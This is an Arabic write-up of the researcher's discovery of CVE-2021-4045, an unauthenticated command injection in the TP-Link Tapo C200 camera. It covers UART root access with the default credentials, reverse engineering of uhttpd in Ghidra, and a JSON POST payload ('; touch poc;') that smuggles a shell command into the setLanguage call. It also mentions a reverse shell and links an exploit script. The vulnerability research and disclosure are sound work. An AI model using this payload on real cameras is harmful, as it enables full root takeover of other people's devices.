
استغلال حقن الأوامر لكاميرا TP-Link Tapo C200 (CVE-2021-4045) يوفر وصولاً إلى شل الجذر عبر UART وتحليل ثنائي مُهندَس عكسيًا لـ uhttpd.
CVE-2021-4045
CVE-2021-4045 هي ثغرة حقن أوامر تم اكتشافها في كاميرا TP-Link Tapo C200، وتسمح للمهاجم بالسيطرة الكاملة على الجهاز بصلاحيات root. تؤثر هذه الثغرة على جميع إصدارات البرامج الثابتة الأقدم من الإصدار 1.1.16 Build 211209 Rel. 37726N.
🔗 إشعار رسمي من INCIBE: https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2021-4045 (استبدل بالرابط الفعلي)
🔧 الحل الموصى به: تحديث البرنامج الثابت إلى الإصدار 1.1.16 أو أعلى.
$ nmap -sV -p- 192.168.1.81
**النتيجة**:```
PORT STATE SERVICE
443/tcp open https
554/tcp open rtsp
2020/tcp open xinupageserver
8800/tcp open sunwebadmin
كما يمكنكم رؤية، يحتوي الجهاز على بعض المنافذ المفتوحة المثيرة للاهتمام. أول ما جربته هو المنفذ 443. على الرغم من أن nmap يشير بوضوح إلى أنه يستخدم https، إلا أنني تجاهلت ذلك أثناء الفحص الأولي وأمضيت وقتًا طويلاً معتقدًا أن المنفذ 443 يستخدم http. ونتيجة لذلك، جربت فقط http://192.168.1.81:443 بدلاً من https://192.168.1.81:443، لذلك حصلت فقط على ردود 400. وكما ذكرت في المقدمة، كانت هذه العملية مليئة بالأخطاء. أما بالنسبة للمنافذ الأخرى، فقد كانت الخدمات التي تعمل عليها غير معروفة تمامًا بالنسبة لي ولم أجد أي معلومات واضحة عنها. في تلك اللحظة، لم يعد لدي خيارات معروفة، لذا حان الوقت للتحقيق بشكل أعمق.
----[ الحصول على شيل ]-------------------------------
قبل شراء الكاميرا، بحثت على الإنترنت عن أبحاث سابقة حول الجهاز، ولحسن الحظ وجدت هذا المستودع على GitHub حيث يتعاون الناس في إجراء الهندسة العكسية. تشرح إحدى المشكلات كيفية الوصول إلى الكونسول عبر منفذ UART، وهو شيء لم أكن أعرفه على الإطلاق في ذلك الوقت. لذا تعلمت الأساسيات واشتريت محول USB إلى TTL للاتصال.
بمساعدة المشكلة المذكورة، تمكنت من فتح الجهاز بسكين ومفك براغي وتحديد UART بسرعة. بعد بضع محاولات وصبر طويل، تمكنت أخيرًا من لحام بعض الأسلاك إلى الوسادات.
ثم حان الوقت للتحقق مما إذا كان اللحام جيدًا بما يكفي لنقل البيانات. قمت بتوصيل الأسلاك بمحول USB، مع مراعاة أن Rx من UART يتصل بـ Tx من المحول والعكس، وقمت بتوصيل المحول بجهاز الكمبيوتر الخاص بي. مرة أخرى، بفضل المشكلة المذكورة، عرفت أن سرعة النقل للاتصال التسلسلي هي 57600، لذا قمت بتشغيل:
$ sudo screen /dev/tty.usbserial-0001 57600
حيث '/dev/tty.usbserial-0001' هو منفذ USB المتصل به المحول والذي يغذي الجهاز. بدأت على الفور في تلقي البيانات، رائع.
ومع ذلك، لم أكن قد حصلت بعد على الوصول إلى الكونسول. ما كنت أتلقاه هو مجرد تسلسل الإقلاع للجهاز، والذي كان في الواقع أداة تحميل الإقلاع U-Boot. كان يبدو مشابهًا لهذا:
U-Boot 2014.01-v1.2 (Jul 16 2021 - 18:41:10)
Board: IPCAM RTS3903 CPU: 500M :rx5281 prid=0xdc02 force spi nor mode DRAM: 64 MiB @ 1066 MHz Skipping flash_init Flash: 0 Bytes flash status is 0, 0, 0 SF: Detected XM25QH64A with page size 256 Bytes, erase size 64 KiB, total 8 MiB Using default environment
Autobooting in 1 seconds copying flash to 0x81500000 flash status is 0, 0, 0 SF: Detected XM25QH64A with page size 256 Bytes, erase size 64 KiB, total 8 MiB SF: 8388608 bytes @ 0x0 Read: OK
[...]
عند الضغط على Enter، يُطلب منا إدخال اسم مستخدم وكلمة مرور. بفضل مشكلة GitHub تلك، نعرف بيانات الدخول، لذا يمكننا تسجيل الدخول بنجاح باستخدام المستخدم 'root' وكلمة المرور 'slprealtek' وأخيرًا الحصول على الوصول إلى الكونسول.
بمجرد تأكدي من أن الاتصال يعمل، كنت بحاجة إلى تقوية اللحام لأنه انكسر مرتين أثناء عملية تركيب الهيكل. استخدمت سيليكونًا حراريًا لتثبيت جميع الأسلاك وأغلقت الجهاز، وفصلت جميع المحركات. الآن، وحدة الاختبار الخاصة بي جاهزة.
----[ استكشاف الجهاز ]--------------------------
الآن بعد أن أصبح لدينا هيكل، دعنا نستكشف الجهاز:
root@SLP:~# uname -a Linux SLP 3.10.27 #1 PREEMPT Wed Nov 11 20:42:05 CST 2020 rlx GNU/Linux
root@SLP:~# cat /etc/openwrt_version 12.09-rc1
كما نرى، هذا جهاز OpenWRT يعمل بنظام Linux 3.10.27. الآن دعنا نتحقق من العمليات النشطة والمنافذ المفتوحة:
root@SLP:~# ps PID USER VSZ STAT COMMAND 1 root 2328 S init 2 root 0 SW [kthreadd] 3 root 0 SW [ksoftirqd/0] 4 root 0 SW [kworker/0:0] 5 root 0 SW< [kworker/0:0H] 6 root 0 SW [kworker/u2:0] 7 root 0 SW [rcu_preempt] 8 root 0 SW [rcu_bh] 9 root 0 SW [rcu_sched] 10 root 0 SW< [khelper] 11 root 0 SW< [writeback] 12 root 0 SW< [bioset] 13 root 0 SW< [kblockd] 14 root 0 SW [khubd] 15 root 0 SW [kworker/0:1] 16 root 0 SW [kswapd0] 17 root 0 SW [fsnotify_mark] 18 root 0 SW< [crypto] 27 root 0 SW [kworker/u2:1] 46 root 0 SW< [deferwq] 47 root 0 SW< [kworker/0:1H] 247 root 2328 S -ash 262 root 0 SW [irq/27-gpio res] 273 root 0 SW< [cryptodev_queue] 282 root 860 S /sbin/hotplug2 --override --persistent --set-rules-f 304 root 888 S /sbin/ubusd 325 root 8152 S tp_manage 357 root 3416 S /usr/bin/ledd 361 root 3408 S /sbin/msglogd 367 root 3220 S /usr/sbin/netlinkd 370 root 5468 S < /usr/bin/system_state_audio 379 root 10180 S /usr/sbin/wlan-manager 491 root 1636 S /sbin/netifd 492 root 1520 S /usr/sbin/connModed 494 root 11488 S /usr/bin/dsd 496 root 1532 S /usr/sbin/connModed 502 root 7640 S /bin/cloud-service 520 root 4360 S /bin/cloud-brd -c /var/etc/cloud_brd_conf 653 root 15020 S /bin/cloud-client 830 root 2320 S /usr/sbin/telnetd -b 127.0.0.1 861 root 3852 S /usr/sbin/uhttpd -f -h /www -T 180 -A 0 -n 8 -R -r C 870 root 6048 S /usr/bin/relayd 872 root 5948 S /usr/bin/rtspd 879 root 4612 S /usr/bin/p2pd 884 root 11152 S /bin/dn_switch 889 root 4180 S /bin/storage_manager 920 root 40940 S /bin/cet 956 root 32336 S /bin/vda 960 root 3808 S /bin/wtd 970 root 11288 S /bin/nvid 1019 root 2332 S udhcpc -p /var/run/static-dhcpc.pid -s /lib/netifd/s 1037 root 0 SW [RTW_CMD_THREAD] 1059 root 1212 S wpa_supplicant -B -Dwext -iwlan0 -P/tmp/supplicant_p 1089 root 2332 S /usr/sbin/ntpd -n -p time.nist.gov -p 133.100.9.2 -p 1103 root 3840 S /usr/bin/motord 1447 root 2324 R ps
root@SLP:~# netstat -natpu Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:8800 0.0.0.0:* LISTEN 920/cet tcp 0 0 127.0.0.1:929 0.0.0.0:* LISTEN 875/p2pd tcp 0 0 0.0.0.0:20002 0.0.0.0:* LISTEN 325/tp_manage tcp 0 0 0.0.0.0:2020 0.0.0.0:* LISTEN 969/nvid tcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 920/cet tcp 0 0 127.0.0.1:23 0.0.0.0:* LISTEN 832/telnetd tcp 0 0 127.0.0.1:921 0.0.0.0:* LISTEN 878/relayd tcp 0 0 127.0.0.1:922 0.0.0.0:* LISTEN 877/rtspd tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 863/uhttpd tcp 0 0 192.168.1.80:37380 52.19.66.90:443 ESTABLISHED 507/cloud-brd udp 0 0 0.0.0.0:20002 0.0.0.0:* 325/tp_manage udp 0 0 0.0.0.0:38000 0.0.0.0:* 1087/ntpd udp 0 0 0.0.0.0:3702 0.0.0.0:* 969/nvid
يمكننا رؤية العمليات وراء تلك المنافذ المفتوحة التي تظهر في فحص nmap، مثل uhttpd أو cet. ركزت بشكل خاص على عملية uhttpd، لأنها المسؤولة عن خادم https (الذي كنت لا أزال أعتقد في ذلك الوقت أنه http) وكنت بالفعل على دراية كبيرة ببروتوكولات http.
uhttpd هو خادم ويب أنشأته OpenWRT لاستخدامه في الأجهزة المضمنة التي تشغل هذه التوزيعة. في هذه المرحلة، أردت معرفة ما إذا كان بإمكاني الحصول على مزيد من المعلومات عنه، مثل الكود المصدري أو على الأقل المسارات. زرت ويكي OpenWRT وتعلمت عن uhttpd وOpenWRT بشكل عام. في أجهزة OpenWRT، يوجد نظام يسمى واجهة التكوين الموحدة (UCI)، والذي يُستخدم أساسًا لتكوين خدمات النظام بسهولة. باستخدام هذا، يمكننا الحصول على تكوين uhttpd:
root@SLP:~# uci show | grep uhttpd ucitrack.@uhttpd[0]=uhttpd ucitrack.@uhttpd[0].init=uhttpd uhttpd.main=uhttpd uhttpd.main.listen_https=443 uhttpd.main.home=/ww uhttpd.main.rfc1918_filter=1 uhttpd.main.max_requests=8 uhttpd.main.cert=/tmp/uhttpd.crt uhttpd.main.key=/tmp/uhttpd.key uhttpd.main.cgi_prefix=/cgi-bin uhttpd.main.lua_prefix=/luci uhttpd.main.lua_handler=/usr/lib/lua/luci/sgi/uhttpd.lua uhttpd.main.script_timeout=180 uhttpd.main.network_timeout=180 uhttpd.main.tcp_keepalive=0 uhttpd.px5g=cert uhttpd.px5g.days=3600 uhttpd.px5g.bits=1024 uhttpd.px5g.country=CN uhttpd.px5g.state=China uhttpd.px5g.location=China uhttpd.px5g.commonname=TP-Link upnpc.uhttpd=entry upnpc.uhttpd.proto=TCP upnpc.uhttpd.ext_port=80 upnpc.uhttpd.desc=uhttpd
هنا بعض المعلمات المثيرة للاهتمام. أولاً، 'uhttpd.main.home' يشير إلى الدليل الجذر للخادم، لذا قد نجد بعض ملفات خادم الويب. ثم، 'uhttpd.main.lua_handler' يشير إلى نص معالج Lua المستخدم لتهيئة بيئة تشغيل Lua عند بدء تشغيل الخادم، لأن uhttpd يدعم نصوص Lua، لذا قد يكون هناك ملفات مثيرة للاهتمام هناك. ومع ذلك، فإن الدليل '/www' فارغ ولا يوجد دليل 'sgi' في '/usr/lib/lua/luci' ولا ملف 'uhttpd.lua' في النظام. حاولت العثور على معلومات حول كيفية عمل هذه النسخة من uhttpd، لكنني لم أجد شيئًا، فقط معلمات تكوين لا تشير إلى أي مكان.
في هذه المرحلة، عرفت أن الحل هو تحليل الملف الثنائي 'uhttpd' مباشرة وتطبيق الهندسة العكسية، لكنني كنت أرغب أولاً في إنشاء بيئة اختبار لمعرفة ما يحدث داخل خادم الويب عند إجراء الطلبات، لأنه نظرًا للطريقة التي تم بها إنشاء العملية، لم يكن هناك أي إخراج في أي مكان.
حاولت تشغيل الأمر الموجود في مخرجات أمر ps للعملية 861:
$ /usr/sbin/uhttpd -f -h /www -T 180 -A 0 -n 8 -R -r C
ومع ذلك، حصلت على العديد من الأخطاء ولم أتمكن من جعله يعمل. نظرًا لعدم تمكني من إنشاء نفس عملية uhttpd على منفذ مختلف، حاولت البحث عن الإخراج المفقود عن طريق فحص إدخال '/proc' للعملية، لقراءتها إذا كانت موجودة (كما هو موضح في فيديو PwnFunction). ولكن كانت هناك مشكلة كبيرة:
root@SLP:~# sudo ls -l /proc/864/fd/ lrwx------ 1 root root 64 Nov 10 22:44 0 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 1 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 2 -> /dev/null lrwx------ 1 root root 64 Nov 10 22:44 3 -> anon_inode:[eventpoll] lrwx------ 1 root root 64 Nov 10 22:44 4 -> socket:[1830]
جميع واصفات الملفات لـ 'stdin' و 'stdout' و 'stderr' تم إعادة توجيهها إلى '/dev/null'، مما يعيد توجيهها إلى ثقب أسود حيث لا يمكن العثور عليها. كنت عالقًا ولم أكن أعرف ماذا أفعل. نظرًا لأنني كنت بالفعل في إدخال '/proc'، بدأت في التحقيق، لأنني لم أتذكر أن إدخالات '/proc' تحتوي على الكثير من المعلومات حول عملية ما وكان لدي فضول. بفضل هذا الفضول العرضي، صادفت إدخال 'environ'، الذي يحتوي على جميع متغيرات البيئة لتلك العملية. كان أحد هذه المتغيرات البيئية:
UHTTPD_ARGS=-h /www -T 180 -A 0 -n 8 -R -r C200 -C /tmp/uhttpd.crt -K /tmp/uhttpd.key -s 443
أدركت على الفور أن الأمر المعروض بواسطة ps كان غير صحيح، واكتشفت لاحقًا أن ذلك كان بسبب أن واجهة UART لم يكن لديها عرض كافٍ لعرض جميع الأحرف. خطأ آخر علمني دروسًا مهمة: لا تثق أبدًا في مخرجات منفذ UART.
الآن تمكنت أخيرًا من إنشاء نسخة أخرى من uhttpd بنفس المعلمات وبدون أنابيب إلى '/dev/null' لاختبار الملف الثنائي أثناء إخضاعه للهندسة العكسية.
----[ الهندسة العكسية لـ uhttpd باستخدام Ghidra ]--------
كانت هذه هي المرة الأولى التي أستخدم فيها Ghidra. كنت قد شاهدت بعض الفيديوهات وقرأت بعض المقالات عنها (بفضل stacksmashing و liveoverflow على المحتوى الرائع وسهل الفهم)، لكنني لم أستخدمها أبدًا، لذا كانت هذه فرصة جيدة جدًا للتعلم.
فتحت الملف الثنائي uhttpd وبعد عدة محاولات، اكتشفت أن اللغة كانت MIPS32، little endian، مع mips16e. بعض أسماء الدوال جاءت افتراضيًا مع الملف الثنائي، لكن البعض الآخر لم يكن كذلك. كما قضيت بعض الوقت في إعادة تسمية الدوال، لأنه على ما يبدو، غالبًا ما يخلط Ghidra بين الدوال الخارجية ويحصل على أغلفة غريبة لها، مثل:
قمت بتحليل الدالة `main()` ودوال مهمة أخرى لفهم منطق الملف الثنائي وهيكله. وجدت بعض الدوال المثيرة للاهتمام، التي تم تحديدها بالفعل، ومن بينها `do_login()` و `uh_slp_proto_request()`. سأتحدث عن الأخيرة لاحقًا.
بعد هذا الاتصال الأول، بدأت في البحث عن الأخطاء. نظرًا لأنني مبتدئ تمامًا في ثغرات التجاوز، أول شيء فعلته هو البحث عن استدعاءات system() و exec() و popen() للتحقق مما إذا كانت هناك أي ثغرة حقن أوامر يمكنني استغلالها بسهولة. ويا لها من حظ.
تستخدم الدالة 'exec_and_read_json()' الدالة 'popen()' لتنفيذ الأوامر:
ejecutar_y_leer_json
تستخدم الدالة 'exec_and_read_json()' بواسطة دالتين بدون اسم، أسميتهما 'set_language()' و 'wifi_connect()'. هاتان الدالتان مسؤولتان على التوالي عن ضبط اللغة والاتصال بشبكة Wi-Fi (بوضوح). 'wifi_connect()' يبدو أنها تحلل الفواصل العليا ('')، بينما 'set_language()' لا تفعل ذلك. هذا يعني أنه إذا تمكنا من التحكم في مدخل الدالة 'set_language()'، يمكننا حقن أوامرنا الخاصة بنجاح:
conexión wifi establecer_idioma
تستخدم الدالة 'set_language()' بواسطة 'uh_slp_proto_request()'، الدالة التي ذكرتها سابقًا، والتي تمرر كمدخل بعض البيانات المحللة المستلمة من المستخدم.
función_principal_1 función_principal_2
لتحليل بيانات المستخدم، تتحقق uh_slp_proto_request() مما إذا كان كائن JSON صالحًا. ثم تحصل على قيمة سلسلة معرفة بالمفتاح method وقيمة قاموس معرفة بـ params (على الأقل هذا ما أعتقده، حيث لم يتمكن Ghidra من حل استدعاء الدالة، لكنه بدا يعمل بهذه الطريقة). اعتمادًا على الطريقة المختارة، تختار uh_slp_proto_request() الدالة التي سيتم تنفيذها.
لذا، عند إرسال الحمولة التالية:{"method": "setLanguage", "params":{}}
نستدعي الدالة 'set_language()' بشكل صحيح ونمرر '{}' كمعامل 'language_json'. ثم، داخل الدالة 'set_language()'، يتم تحويل كائن 'language_json' إلى سلسلة وإدراجها مباشرة في "ubus call system_state_audio set_language '%s'" للتنفيذ.
عند إرسال هذه الحمولة:{"method": "setLanguage", "params": {"payload": "'; touch poc;'"}}
سيتم تنفيذ ما يلي.
ubus call system_state_audio set_language '{"payload": "'; touch poc;'"}'
التي تحتوي في الواقع على 3 أوامر:
ubus call system_state_audio set_language '{"payload": "' touch poc '"}'
الثاني يسمح لنا بتنفيذ الكود بالكامل.
الآن، الدالة 'uh_slp_proto_request()' تُستخدم بواسطة دالة أخرى بدون اسم تدير جميع الطلبات، والتي أسميتها 'main_server_function()'. إذا كان الطلب صالحًا (لا يتجاوز الحد الأقصى للطول، يستخدم 'http' أو 'https' حسب إعدادات الخادم، إلخ)، تتحقق 'main_server_function()' مما إذا كان عنوان URL يحتوي على '/cgi-bin/luci' أو '/web-static'. إذا لم يكن الأمر كذلك، يتم استدعاء 'uh_slp_proto_request()'.
uh_slp_proto_request_entrypoint
عند إجراء اختبار وإرسال بضع طلبات إلى الكاميرا، يمكننا التحقق من أن البيانات المستخدمة بواسطة 'uh_slp_proto_request()' هي بيانات POST قياسية. لذلك، إذا أرسلنا طلب POST إلى '/' مع الحمولة السابقة، فإن 'uh_slp_proto_request()' ستعالج هذه البيانات، وتستدعي 'set_language()' وسيتم حقن حمولتنا في الأمر الذي ينفذه 'exec_and_get_result()'.
كما ترون، لم أذكر أي شيء عن المصادقة، لأن الدالة 'setLanguage()' يمكن استدعاؤها دون تسجيل الدخول. هذا يسمح لأي مستخدم بالسيطرة الكاملة على الكاميرا بطلب واحد دون مصادقة.
----[ الاستغلال ]----------------------------------
الآن، حان وقت كتابة الاستغلال. أمضيت بعض الوقت في معرفة كيفية الحصول على شل عكسي باستخدام netcat. بدا الأمر بسيطًا، لكنني لم أستطع جعله يعمل. اكتشفت أن إصدار netcat المثبت في BusyBox محدود جدًا من حيث الوظائف، لذا لم تكن الشلات العكسية التقليدية صالحة. ومع ذلك، وجدت ما كنت أبحث عنه في مستودع PayloadsAllTheThings (كالعادة) وحصلت على الشل العكسي المثالي. نظرًا لأن uhttpd يعمل كجذر (بفضل TP-Link)، نحصل على شل بأقصى الامتيازات بمجرد إرسال طلب POST ضار. الاستغلال متاح في صفحة GitHub: https://github.com/hacefresko/CVE-2021-4045/blob/master/pwntapo.py

🚨 الدرس المستفاد:
https و http في المنفذ 443، مما أضاع الوقت حتى اكتشفت الخطأ.